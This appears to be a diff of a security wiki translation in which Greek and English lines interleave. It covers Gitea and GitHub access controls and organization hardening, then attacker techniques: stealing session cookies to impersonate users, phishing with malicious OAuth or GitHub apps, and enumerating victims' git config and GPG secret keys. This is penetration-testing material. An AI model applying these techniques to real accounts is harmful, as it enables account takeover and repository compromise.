**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
Κατά τη δημιουργία μιας νέας ομάδας, επιλέγονται αρκετές σημαντικές ρυθμίσεις:
When creating a new team, several important settings are selected:
- Υποδεικνύεται οι **αποθετήρες της οργάνωσης στους οποίους θα έχουν πρόσβαση τα μέλη της ομάδας**: συγκεκριμένοι αποθετήρες (αποθετήρες στους οποίους έχει προστεθεί η ομάδα) ή όλοι.
- Υποδεικνύεται επίσης **αν τα μέλη μπορούν να δημιουργήσουν νέους αποθετήρες** (ο δημιουργός θα αποκτήσει διαχειριστική πρόσβαση σε αυτόν)
- Οι **άδειες** που θα **έχουν** τα **μέλη** του αποθετηρίου:
- **Διαχειριστής** πρόσβαση
- **Συγκεκριμένη** πρόσβαση:
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
- It's also indicated **if members can create new repos** (creator will get admin access to it)
- The **permissions** the **members** of the repo will **have**:
- **Administrator** access
- **Specific** access:
![](<../../images/image (118).png>)
### Ομάδες & Χρήστες
### Teams & Users
Σε ένα αποθετήριο, ο **διαχειριστής οργάνωσης** και οι **διαχειριστές αποθετηρίων** (αν επιτρέπεται από την οργάνωση) μπορούν να **διαχειρίζονται τους ρόλους** που δίνονται στους συνεργάτες (άλλους χρήστες) και τις ομάδες. Υπάρχουν **3** πιθανοί **ρόλοι**:
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
- Διαχειριστής
- Γράψιμο
- Ανάγνωση
- Administrator
- Write
- Read
## Αυθεντικοποίηση Gitea
## Gitea Authentication
### Πρόσβαση μέσω Ιστού
### Web Access
Χρησιμοποιώντας **όνομα χρήστη + κωδικό πρόσβασης** και πιθανώς (και συνιστάται) 2FA.
Using **username + password** and potentially (and recommended) a 2FA.
### **Κλειδιά SSH**
### **SSH Keys**
Μπορείτε να ρυθμίσετε τον λογαριασμό σας με ένα ή περισσότερα δημόσια κλειδιά που επιτρέπουν στο σχετικό **ιδιωτικό κλειδί να εκτελεί ενέργειες εκ μέρους σας.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **Κλειδιά GPG**
#### **GPG Keys**
Δεν μπορείτε να προσποιηθείτε τον χρήστη με αυτά τα κλειδιά, αλλά αν δεν τα χρησιμοποιείτε, μπορεί να είναι δυνατό να **ανακαλυφθείτε για την αποστολή commits χωρίς υπογραφή**.
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
### **Προσωπικά Διακριτικά Πρόσβασης**
### **Personal Access Tokens**
Μπορείτε να δημιουργήσετε προσωπικά διακριτικά πρόσβασης για να **δώσετε σε μια εφαρμογή πρόσβαση στον λογαριασμό σας**. Ένα προσωπικό διακριτικό πρόσβασης δίνει πλήρη πρόσβαση στον λογαριασμό σας: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Εφαρμογές Oauth
### Oauth Applications
Όπως τα προσωπικά διακριτικά πρόσβασης, οι **εφαρμογές Oauth** θα έχουν **πλήρη πρόσβαση** στον λογαριασμό σας και στους τόπους στους οποίους έχει πρόσβαση ο λογαριασμός σας, επειδή, όπως αναφέρεται στα [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), οι τομείς δεν υποστηρίζονται ακόμη:
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
![](<../../images/image (194).png>)
### Κλειδιά Ανάπτυξης
### Deploy keys
Τα κλειδιά ανάπτυξης μπορεί να έχουν πρόσβαση μόνο για ανάγνωση ή εγγραφή στον αποθετήριο, οπότε μπορεί να είναι ενδιαφέρον να παραβιαστούν συγκεκριμένοι αποθετήρες.
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
## Προστασίες Κλάδου
## Branch Protections
Οι προστασίες κλάδου έχουν σχεδιαστεί για να **μην δίνουν πλήρη έλεγχο ενός αποθετηρίου** στους χρήστες. Ο στόχος είναι να **τοποθετηθούν αρκετές μεθόδοι προστασίας πριν μπορέσετε να γράψετε κώδικα σε κάποιον κλάδο**.
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Οι **προστασίες κλάδου ενός αποθετηρίου** μπορούν να βρεθούν στο _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> Δεν είναι **δυνατό να οριστεί προστασία κλάδου σε επίπεδο οργάνωσης**. Έτσι, όλες τους πρέπει να δηλωθούν σε κάθε αποθετήριο.
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
Διαφορετικές προστασίες μπορούν να εφαρμοστούν σε έναν κλάδο (όπως στον master):
Different protections can be applied to a branch (like to master):
- **Απενεργοποίηση Push**: Κανείς δεν μπορεί να σπρώξει σε αυτόν τον κλάδο
- **Ενεργοποίηση Push**: Οποιοσδήποτε με πρόσβαση μπορεί να σπρώξει, αλλά όχι να σπρώξει με δύναμη.
- **Λευκή Λίστα Περιορισμένης Push**: Μόνο επιλεγμένοι χρήστες/ομάδες μπορούν να σπρώξουν σε αυτόν τον κλάδο (αλλά όχι να σπρώξουν με δύναμη)
- **Ενεργοποίηση Λευκής Λίστας Συγχώνευσης**: Μόνο οι χρήστες/ομάδες που είναι στη λευκή λίστα μπορούν να συγχωνεύσουν PRs.
- **Ενεργοποίηση Ελέγχων Κατάστασης:** Απαιτούνται έλεγχοι κατάστασης για να περάσουν πριν τη συγχώνευση.
- **Απαιτούνται εγκρίσεις**: Υποδείξτε τον αριθμό των εγκρίσεων που απαιτούνται πριν μπορέσει να συγχωνευθεί ένα PR.
- **Περιορισμός εγκρίσεων σε λευκή λίστα**: Υποδείξτε χρήστες/ομάδες που μπορούν να εγκρίνουν PRs.
- **Αποκλεισμός συγχώνευσης σε απορριφθείσες αναθεωρήσεις**: Αν ζητηθούν αλλαγές, δεν μπορεί να συγχωνευθεί (ακόμη και αν οι άλλοι έλεγχοι περάσουν)
- **Αποκλεισμός συγχώνευσης σε επίσημες αιτήσεις αναθεώρησης**: Αν υπάρχουν επίσημες αιτήσεις αναθεώρησης, δεν μπορεί να συγχωνευθεί
- **Αποδοχή παλαιών εγκρίσεων**: Όταν υπάρχουν νέες commits, οι παλιές εγκρίσεις θα απορριφθούν.
- **Απαιτούνται Υπογεγραμμένα Commits**: Τα commits πρέπει να είναι υπογεγραμμένα.
- **Αποκλεισμός συγχώνευσης αν το pull request είναι παλιό**
- **Προστατευμένα/Μη προστατευμένα μοτίβα αρχείων**: Υποδείξτε μοτίβα αρχείων για προστασία/μη προστασία από αλλαγές
- **Disable Push**: No-one can push to this branch
- **Enable Push**: Anyone with access can push, but not force push.
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
- **Enable Status checks:** Require status checks to pass before merging.
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
- **Block merge on official review requests**: If there official review requests it cannot be merged
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
- **Require Signed Commits**: Commits must be signed.
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
> [!NOTE]
> Όπως μπορείτε να δείτε, ακόμη και αν καταφέρατε να αποκτήσετε κάποια διαπιστευτήρια ενός χρήστη, **οι αποθετήρες μπορεί να είναι προστατευμένοι αποτρέποντάς σας από το να σπρώξετε κώδικα στον master** για παράδειγμα, για να παραβιάσετε τη διαδικασία CI/CD.
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,236 +2,249 @@
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το Github
## What is Github
(Από [εδώ](https://kinsta.com/knowledgebase/what-is-github/)) Σε υψηλό επίπεδο, **το GitHub είναι μια ιστοσελίδα και μια υπηρεσία βασισμένη στο cloud που βοηθά τους προγραμματιστές να αποθηκεύουν και να διαχειρίζονται τον κώδικά τους, καθώς και να παρακολουθούν και να ελέγχουν τις αλλαγές στον κώδικά τους**.
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
### Βασικές Πληροφορίες
### Basic Information
{{#ref}}
basic-github-information.md
{{#endref}}
## Εξωτερική Αναγνώριση
## External Recon
Τα αποθετήρια του Github μπορούν να ρυθμιστούν ως δημόσια, ιδιωτικά και εσωτερικά.
Github repositories can be configured as public, private and internal.
- **Ιδιωτικά** σημαίνει ότι **μόνο** οι άνθρωποι της **οργάνωσης** θα μπορούν να τα προσπελάσουν
- **Εσωτερικά** σημαίνει ότι **μόνο** οι άνθρωποι της **επιχείρησης** (μια επιχείρηση μπορεί να έχει πολλές οργανώσεις) θα μπορούν να το προσπελάσουν
- **Δημόσια** σημαίνει ότι **όλο το διαδίκτυο** θα μπορεί να το προσπελάσει.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
Σε περίπτωση που γνωρίζετε τον **χρήστη, το αποθετήριο ή την οργάνωση που θέλετε να στοχεύσετε**, μπορείτε να χρησιμοποιήσετε **github dorks** για να βρείτε ευαίσθητες πληροφορίες ή να αναζητήσετε **ευαίσθητες πληροφορίες διαρροών** **σε κάθε αποθετήριο**.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
### Github Dorks
Το Github επιτρέπει να **αναζητάτε κάτι καθορίζοντας ως πεδίο έναν χρήστη, ένα αποθετήριο ή μια οργάνωση**. Επομένως, με μια λίστα από συμβολοσειρές που θα εμφανίζονται κοντά σε ευαίσθητες πληροφορίες, μπορείτε εύκολα να **αναζητήσετε πιθανές ευαίσθητες πληροφορίες στον στόχο σας**.
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Εργαλεία (κάθε εργαλείο περιέχει τη λίστα του με dorks):
Tools (each tool contains its list of dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Λίστα Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Λίστα Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Λίστα Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
Παρακαλώ σημειώστε ότι οι github dorks προορίζονται επίσης για αναζητήσεις διαρροών χρησιμοποιώντας τις επιλογές αναζήτησης του github. Αυτή η ενότητα είναι αφιερωμένη σε εκείνα τα εργαλεία που θα **κατεβάσουν κάθε αποθετήριο και θα αναζητήσουν ευαίσθητες πληροφορίες σε αυτά** (ακόμη και ελέγχοντας ορισμένο βάθος commits).
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Εργαλεία (κάθε εργαλείο περιέχει τη λίστα του με regex):
Tools (each tool contains its list of regexes):
Δείτε αυτή τη σελίδα: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι όπως `git log -p`, μην ξεχάσετε ότι μπορεί να υπάρχουν **άλλες branches με άλλα commits** που περιέχουν μυστικά!
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
### Εξωτερικά Forks
### External Forks
Είναι δυνατόν να **συμβιβάσετε αποθετήρια εκμεταλλευόμενοι τα pull requests**. Για να γνωρίζετε αν ένα αποθετήριο είναι ευάλωτο, πρέπει κυρίως να διαβάσετε τις ρυθμίσεις yaml των Github Actions. [**Περισσότερες πληροφορίες παρακάτω**](#execution-from-a-external-fork).
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
### Github Leaks σε διαγραμμένα/εσωτερικά forks
### Github Leaks in deleted/internal forks
Ακόμη και αν είναι διαγραμμένα ή εσωτερικά, μπορεί να είναι δυνατό να αποκτήσετε ευαίσθητα δεδομένα από forks αποθετηρίων του github. Ελέγξτε το εδώ:
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
## Σκληροποίηση Οργάνωσης
## Organization Hardening
### Προ privileges Μελών
### Member Privileges
Υπάρχουν ορισμένα **προεπιλεγμένα προνόμια** που μπορούν να ανατεθούν σε **μέλη** της οργάνωσης. Αυτά μπορούν να ελεγχθούν από τη σελίδα `https://github.com/organizations/<org_name>/settings/member_privileges` ή από το [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Βασικές άδειες**: Τα μέλη θα έχουν την άδεια None/Read/write/Admin πάνω στα αποθετήρια της οργάνωσης. Συνιστάται το **None** ή **Read**.
- **Forking αποθετηρίων**: Αν δεν είναι απαραίτητο, είναι καλύτερα να **μην επιτρέπεται** στα μέλη να fork-άρουν τα αποθετήρια της οργάνωσης.
- **Δημιουργία σελίδων**: Αν δεν είναι απαραίτητο, είναι καλύτερα να **μην επιτρέπεται** στα μέλη να δημοσιεύουν σελίδες από τα αποθετήρια της οργάνωσης. Αν είναι απαραίτητο, μπορείτε να επιτρέψετε τη δημιουργία δημόσιων ή ιδιωτικών σελίδων.
- **Αιτήματα πρόσβασης για ενσωματώσεις**: Με αυτό ενεργοποιημένο, οι εξωτερικοί συνεργάτες θα μπορούν να ζητούν πρόσβαση για εφαρμογές GitHub ή OAuth να έχουν πρόσβαση σε αυτή την οργάνωση και τους πόρους της. Συνήθως είναι απαραίτητο, αλλά αν όχι, είναι καλύτερα να το απενεργοποιήσετε.
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Αλλαγή ορατότητας αποθετηρίου**: Αν είναι ενεργοποιημένο, **τα μέλη** με **admin** δικαιώματα για το **αποθετήριο** θα μπορούν να **αλλάξουν την ορατότητά** του. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να αλλάξουν τις ορατότητες των αποθετηρίων. Αν **δεν** θέλετε οι άνθρωποι να κάνουν τα πράγματα **δημόσια**, βεβαιωθείτε ότι αυτό είναι **απενεργοποιημένο**.
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Διαγραφή και μεταφορά αποθετηρίων**: Αν είναι ενεργοποιημένο, τα μέλη με **admin** δικαιώματα για το αποθετήριο θα μπορούν να **διαγράψουν** ή να **μεταφέρουν** δημόσια και ιδιωτικά **αποθετήρια.**
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Επιτρέψτε στα μέλη να δημιουργούν ομάδες**: Αν είναι ενεργοποιημένο, οποιοδήποτε **μέλος** της οργάνωσης θα μπορεί να **δημιουργήσει** νέες **ομάδες**. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να δημιουργήσουν νέες ομάδες. Είναι καλύτερα να έχετε αυτό απενεργοποιημένο.
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Περισσότερα πράγματα μπορούν να ρυθμιστούν** σε αυτή τη σελίδα, αλλά τα προηγούμενα είναι τα πιο σχετιζόμενα με την ασφάλεια.
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
### Ρυθμίσεις Δράσεων
### Actions Settings
Διάφορες ρυθμίσεις σχετικές με την ασφάλεια μπορούν να ρυθμιστούν για τις δράσεις από τη σελίδα `https://github.com/organizations/<org_name>/settings/actions`.
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Σημειώστε ότι όλες αυτές οι ρυθμίσεις μπορούν επίσης να οριστούν σε κάθε αποθετήριο ανεξάρτητα
> Note that all this configurations can also be set on each repository independently
- **Πολιτικές δράσεων Github**: Σας επιτρέπει να υποδείξετε ποια αποθετήρια μπορούν να εκτελούν workflows και ποια workflows θα πρέπει να επιτρέπονται. Συνιστάται να **καθορίσετε ποια αποθετήρια** θα πρέπει να επιτρέπονται και να μην επιτρέπετε σε όλες τις δράσεις να εκτελούνται.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows από εξωτερικούς συνεργάτες**: Συνιστάται να **απαιτείται έγκριση για όλους** τους εξωτερικούς συνεργάτες.
- _Δεν μπόρεσα να βρω ένα API με αυτές τις πληροφορίες, μοιραστείτε αν το κάνετε_
- **Εκτέλεση workflows από fork pull requests**: Είναι πολύ **απαγορευμένο να εκτελούνται workflows από pull requests** καθώς οι διαχειριστές της προέλευσης του fork θα αποκτήσουν τη δυνατότητα να χρησιμοποιούν tokens με δικαιώματα ανάγνωσης στο αποθετήριο προέλευσης.
- _Δεν μπόρεσα να βρω ένα API με αυτές τις πληροφορίες, μοιραστείτε αν το κάνετε_
- **Δικαιώματα workflows**: Συνιστάται να **δίνονται μόνο δικαιώματα ανάγνωσης αποθετηρίου**. Είναι απαγορευμένο να δίνονται δικαιώματα εγγραφής και δημιουργίας/έγκρισης pull requests για να αποφευχθεί η κακή χρήση του GITHUB_TOKEN που δίνεται για την εκτέλεση workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Ενσωματώσεις
### Integrations
_Ενημερώστε με αν γνωρίζετε το API endpoint για να αποκτήσετε αυτές τις πληροφορίες!_
_Let me know if you know the API endpoint to access this info!_
- **Πολιτική πρόσβασης εφαρμογών τρίτων**: Συνιστάται να περιορίζετε την πρόσβαση σε κάθε εφαρμογή και να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση).
- **Εγκατεστημένες εφαρμογές GitHub**: Συνιστάται να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση).
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
## Αναγνώριση & Επιθέσεις εκμεταλλευόμενες διαπιστευτήρια
## Recon & Attacks abusing credentials
Για αυτό το σενάριο θα υποθέσουμε ότι έχετε αποκτήσει κάποια πρόσβαση σε έναν λογαριασμό github.
For this scenario we are going to suppose that you have obtained some access to a github account.
### Με Διαπιστευτήρια Χρήστη
### With User Credentials
Αν έχετε κάπως ήδη διαπιστευτήρια για έναν χρήστη μέσα σε μια οργάνωση, μπορείτε **απλά να συνδεθείτε** και να ελέγξετε ποιους **ρόλους επιχείρησης και οργάνωσης έχετε**, αν είστε απλός μέλος, ελέγξτε ποια **δικαιώματα έχουν τα απλά μέλη**, σε ποιες **ομάδες** είστε, ποια **δικαιώματα έχετε** πάνω σε ποια **αποθετήρια,** και **πώς είναι προστατευμένα τα αποθετήρια.**
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Σημειώστε ότι **η 2FA μπορεί να χρησιμοποιείται** οπότε θα μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες μόνο αν μπορείτε επίσης να **περάσετε αυτόν τον έλεγχο**.
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Σημειώστε ότι αν **καταφέρετε να κλέψετε το cookie `user_session`** (τώρα ρυθμισμένο με SameSite: Lax) μπορείτε να **παριστάνετε πλήρως τον χρήστη** χωρίς να χρειάζεστε διαπιστευτήρια ή 2FA.
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
Ελέγξτε την παρακάτω ενότητα σχετικά με [**παρακάμψεις προστασίας branch**](#branch-protection-bypass) σε περίπτωση που είναι χρήσιμη.
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
### Με Κλειδί SSH Χρήστη
### With User SSH Key
Το Github επιτρέπει στους **χρήστες** να ρυθμίζουν **κλειδιά SSH** που θα χρησιμοποιούνται ως **μέθοδος αυθεντικοποίησης για την ανάπτυξη κώδικα** εκ μέρους τους (δεν εφαρμόζεται 2FA).
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Με αυτό το κλειδί μπορείτε να κάνετε **αλλαγές σε αποθετήρια όπου ο χρήστης έχει κάποια προνόμια**, ωστόσο δεν μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στο github api για να καταγράψετε το περιβάλλον. Ωστόσο, μπορείτε να **καταγράψετε τις τοπικές ρυθμίσεις** για να αποκτήσετε πληροφορίες σχετικά με τα αποθετήρια και τον χρήστη που έχετε πρόσβαση:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Αν ο χρήστης έχει ρυθμίσει το όνομα χρήστη του ως το όνομα χρήστη του github, μπορείτε να αποκτήσετε πρόσβαση στα **δημόσια κλειδιά που έχει ρυθμίσει** στον λογαριασμό του στο _https://github.com/\<github_username>.keys_, μπορείτε να το ελέγξετε αυτό για να επιβεβαιώσετε ότι το ιδιωτικό κλειδί που βρήκατε μπορεί να χρησιμοποιηθεί.
**SSH keys** μπορούν επίσης να ρυθμιστούν σε αποθετήρια ως **deploy keys**. Οποιοσδήποτε έχει πρόσβαση σε αυτό το κλειδί θα μπορεί να **εκκινήσει έργα από ένα αποθετήριο**. Συνήθως σε έναν διακομιστή με διαφορετικά deploy keys, το τοπικό αρχείο **`~/.ssh/config`** θα σας δώσει πληροφορίες σχετικά με το ποιο κλειδί σχετίζεται.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### GPG Keys
Όπως εξηγείται [**εδώ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), μερικές φορές είναι απαραίτητο να υπογράψετε τις δεσμεύσεις ή μπορεί να σας ανακαλύψουν.
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Ελέγξτε τοπικά αν ο τρέχων χρήστης έχει κάποιο κλειδί με:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Με Token Χρήστη
Για μια εισαγωγή σχετικά με [**Tokens Χρήστη ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#personal-access-tokens).
### With User Token
Ένα token χρήστη μπορεί να χρησιμοποιηθεί **αντί για κωδικό πρόσβασης** για το Git μέσω HTTPS, ή μπορεί να χρησιμοποιηθεί για [**αυθεντικοποίηση στην API μέσω Βασικής Αυθεντικοποίησης**](https://docs.github.com/v3/auth/#basic-authentication). Ανάλογα με τα δικαιώματα που συνδέονται με αυτό, μπορεί να είστε σε θέση να εκτελέσετε διάφορες ενέργειες.
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
Ένα token χρήστη φαίνεται έτσι: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
### Με Εφαρμογή Oauth
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Για μια εισαγωγή σχετικά με [**Εφαρμογές Oauth του Github ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#oauth-applications).
### With Oauth Application
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **κακόβουλη Εφαρμογή Oauth** για να αποκτήσει πρόσβαση σε προνομιακά δεδομένα/ενέργειες των χρηστών που τις αποδέχονται πιθανώς ως μέρος μιας εκστρατείας phishing.
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
Αυτές είναι οι [περιοχές που μπορεί να ζητήσει μια εφαρμογή Oauth](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ένας χρήστης θα πρέπει πάντα να ελέγχει τις περιοχές που ζητούνται πριν τις αποδεχτεί.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Επιπλέον, όπως εξηγείται στις βασικές πληροφορίες, **οι οργανισμοί μπορούν να δώσουν/αρνηθούν πρόσβαση σε εφαρμογές τρίτων** σε πληροφορίες/αποθετήρια/ενέργειες που σχετίζονται με τον οργανισμό.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
### Με Εφαρμογή Github
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
Για μια εισαγωγή σχετικά με [**Εφαρμογές Github ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#github-applications).
### With Github Application
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **κακόβουλη Εφαρμογή Github** για να αποκτήσει πρόσβαση σε προνομιακά δεδομένα/ενέργειες των χρηστών που τις αποδέχονται πιθανώς ως μέρος μιας εκστρατείας phishing.
